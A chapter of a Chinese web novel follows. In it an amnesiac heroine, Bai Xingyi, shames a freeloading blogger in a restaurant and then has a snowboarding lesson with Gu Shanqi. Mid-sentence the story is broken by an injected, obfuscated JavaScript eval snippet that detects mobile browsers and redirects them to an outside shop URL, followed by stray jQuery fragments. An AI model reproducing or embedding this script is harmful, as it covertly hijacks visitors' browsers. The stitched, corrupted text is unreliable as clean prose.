听到对方叫出白星意的名字,顾山期眉头蹙起。
白星意愣了一愣,目光落在对方一头张扬的黄毛上,若有所思。
眼看着白星意显然一副完全没认出自己的模样,黄毛博主脸色更沉,火气噌噌地往上冒:“你少多管闲事,白星意。”
他身后的另一个绿毛小跟班立刻帮腔:“就是啊,小妹妹,跟你无关,趁早还是一边玩去吧。”说完,一行人又哄笑起来。
白星意右手攥拳,深吸一口气,“现在店里这么多人都在吃饭,你们在这里又吵又闹,已经严重影响到大家了。”她语气平和又坚定,“况且。”她目光淡淡扫过面前的黄毛博主,“你说的网上有几十万粉丝,也是假的吧。”
黄毛刚才跟店经理胡搅蛮缠时,白星意就闻到了从这人身上散发出来的,白胡椒混合着醋味的,辛辣又呛鼻的味道,他在撒谎。
黄毛博主脸立刻涨得通红,恼羞成怒:“你说谁骗人呢!”他快步朝着白星意这桌走来,气势汹汹。
顾山期见对方来者不善,立刻起身,稳稳挡在白星意面前。
“这位博主。”顾山期声音不大,却带着一种久居上位冷漠感,他淡淡扫了黄毛一眼,对方瞬间就僵住了,“公共场合闹事,你觉得合适?”
白星意立刻顺着话头接下去:“更何况人家经理已经婉拒你了,不需要你的宣传,你还在这里胡搅蛮缠,完全看不出来是位‘大博主’该有的样子呢。”
她单手托着脸,微笑,眼底没半分退让。
黄毛博主被两人怼的说不出话,身后的同伴见状也纷纷围了上来,气氛瞬间剑拔弩张。
白星意不慌不忙地拿出手机,对着这群人直接开始录像,“哎呀,我跟你们说,我得过病,身体不太好,你们要再靠近,我万一不舒服了,等下报警,打120的费用,你们可得全包。”
黄毛一行人听到这话,顿时面面相觑,犹豫起来。
周围用餐的客人听到这儿,也忍不住低低笑出声。
几位一直在旁边看着的大哥,这时也忍不住开口为白星意说话:
“你们几个老爷们,还想一起欺负小姑娘是不是?还要不要脸了?”
“就是啊,从刚才我就想说了,像你们这种想吃白食的,搁当年都得被拉去游街知道不。”
“看着都挺年轻的,没想到脸皮能厚成这样,真是世风日下啊。”
加入几位大哥一起声讨的人越来越多,黄毛博主一行人脸上渐渐都挂不住了,神色尴尬至极。
绿毛第一个开始小声劝黄毛博主:“哥,要不算了,反正也不差这一顿。”又对旁边人使使眼色,示意他去结账。
那人不情不愿地,走到经理面前,询问价格。
“承蒙惠顾,一共605元,扫这里就可以。”经理端着职业微笑,拿出收款码。
付款后,黄毛一行人临走前,他还恨恨地瞪了一眼白星意,留下一句:“白星意,你还是像以前一样讨人厌。”
白星意无辜地眨眨眼,回了黄毛一句:“你还是像以前一样,达不到目的就气急败坏。”
“你!”黄毛话都没说完,就被绿毛直接拉出了店,生怕他再继续丢人。
“你认识他?”顾山期看着白星意有些狡黠的样子,好奇地问。
白星意摇摇头:“我没想起来他是谁。”
“那你怎么那样回答?”顾山期的好奇心彻底被勾了起来。
“我觉得,不管他是谁,怎么认识我的,以前我一定就很讨厌他,并且坏过他的好事。”白星意神秘地笑笑,“我的直觉很准的。”
顾山期想了想白星意刚才瞬间戳破黄毛粉丝造假,对方哑口无言的样子,深以为然。
店外,被绿毛拉着走的黄毛,愤愤地一把甩开他的手,“你急着奔丧啊。”,黄毛脸上表情狰狞,“你没看到她那副样子吗,连老子是谁都没想起来,跟当年一模一样,假清高,我呸!”
绿毛连忙安慰:“哥,她也不只是没认出你,你看,她不也没认出我吗?”
身后的一群人全都低头,默默汗颜。
黄毛反手就在绿毛头上暴扣一拳,“老子跟你能一样吗?我当年高中时候可是跟她表白过的,她拒绝了就算了,再见面还像完全不认识我似的,放谁身上能受得了啊?”
绿毛连忙点头:“哥,我懂,我懂,谁都有初恋,说出来了就过去了。”
黄毛暴躁骂道:“滚你大爷的,今天真倒霉。”
...
店内,经理端着两盘精致的果盘走了过来,在白星意和顾山期面前站定。
“您好,这是小店赠送的果盘,为表感谢,今天您这桌的消费打五折。”顿了顿,经理又悄悄补了一句:“这是我的最大权限了,真的非常感谢您刚才帮忙解围。”
白星意开心地接过果盘放在桌上,“不客气呀,我最讨厌这种人了,而且也不是我一个人的功劳,刚才大家都有帮忙的。”
听到白星意的话,离着白星意最近的几桌人都有些不好意思。
“小姑娘,还是你勇敢,要不是你最先站出来说话,我们多半还是想着多一事不如少一事。”
“对啊,小姑娘,要不是你,大哥我都要憋死了,从他们一开口我就想说话,想着我老婆交代我在外面不要惹事,硬忍着。”
说到这,大哥还拿出手机给老婆发了条语音:“老婆,我要不帮忙说话,小姑娘就要被那些人欺负了,这谁能忍住对不对。”
他老婆的回复速度也很快,语气里满是赞同:“没毛病,今天这事你做的好,这个月零花钱多加两百。”
大哥一听,立刻喜笑颜开,连声向白星意道谢。
白星意摆摆手,笑得眼睛都弯成了小月牙。
铁锅炖店内的人看到白星意和大哥的互动,都笑了起来,冬日的店内,暖气热烘烘的,混着饭菜的香气,每个人的脸上都洋溢着愉悦的表情。
顾山期看着眼前的这一幕,神情有些恍惚。
在他的印象里,他很少见到身边人有这样发自内心的笑容,多半都是尔虞我诈、虚与委蛇的笑。
原来生活中,真的会有人因为这些在他看来微不足道的小事,笑得如此开怀。
顾山期低头,也勾起了一抹浅浅的笑容。
最终,经理给今晚帮忙说话的客人都打了九折,并且又给白星意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376975|200121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和顾山期单独送了两张优惠券,热情欢迎他们下次再来。
回去的路上,吃饱喝足的白星意走路依旧蹦蹦跳跳的,月光把她的影子拉得很长。
晚风拂过,她的发丝飘起,一缕香气被带到了顾山期的鼻间,像是草莓味儿的棒棒糖。
...
房间门口,白星意刚要推门进去,顾山期开口:“白星意。”
她懵懵地回头,“怎么了,顾大神。”
顾山期张张嘴,“明天还是早晨八点半,别忘了。”说完又抿了下唇角。
“好的顾大神,我会准时出来的。”白星意弯弯嘴角。
“那晚安啦,顾大神。”她摆摆手,推门进屋。
“晚安。”顾山期的声音轻轻落在白星意身后。
...
早九点,初级道顶端,白星意和顾山期准时出现。
“今天主要目标是熟练前后刃落叶飘,再学J弯,C弯,学得快的话,下午可以带你去中级道感受一下。”
“啊?顾大神,今天要学这么多吗。”白星意绞着手指,有些不自信。
顾山期看了一眼白星意,语气淡淡地:“以你的学习速度来看,问题不大,只要你认真。”
白星意低头嘟着嘴,踢踢地面上的雪,“什么嘛,顾大神,那你的意思是说,如果我没学会,就是不够认真咯。”
“我可没说。”顾山期低头只能看到白星意头顶毛茸茸的发旋,他的手指动了动。
“戴好头盔,走吧。”顾山期一声令下,白星意屁颠屁颠跟上。
白星意看着坡下,心里充满干劲,跟她第一天站上顶端望着下面的感觉完全不同,她真的很喜欢滑雪这项运动。
从坡上冲下去的瞬间,那种肾上腺素飙升,大脑立刻兴奋起来,心脏砰砰跳的感觉,她甚至有些迷恋。
因为失忆症的原因,白星意从小到大都被父母保护得很牢,出门在外几乎寸步不离,她很感激父母,但同时也很想真正的走出保护圈。
又一次从坡上冲下来,白星意微微冒汗,脸颊透着淡淡的红晕。
她回头看向正随后滑下来的顾山期,他身形修长,即便被厚重的滑雪服包裹着,也依旧掩不住挺拔好看的线条。
顾山期稳稳刹在白星意面前,两人目光相撞。
白星意能从顾山期的雪镜中清晰地看到自己的倒影,身后是一望无际的冰天雪地,辽阔又自由。
“看什么呢?”顾山期率先开口。
白星意微笑,小鹿似的眼睛亮亮地,“没什么,只是很喜欢这片雪场。”她伸出手,抓了抓身旁的风,“在这里,我觉得很放松,也很自由。”
顾山期下意识学着她的样子,抬起手在空中虚抓了一下,随即又觉得这个动作有点傻,飞快地放下手。
白星意看他的样子有些好笑,忍不住揶揄一句:“顾大神,想学就学吧,本小姐完全不介意被帅哥模仿哦,不收版权费的。”
顾山期轻笑一声。
远处的缆车还在咯吱咯吱的运行着,白星意向远望去,正好撞进眼底。
“顾山期,我们现在去坐缆车吧。”白星意心血来潮地提议。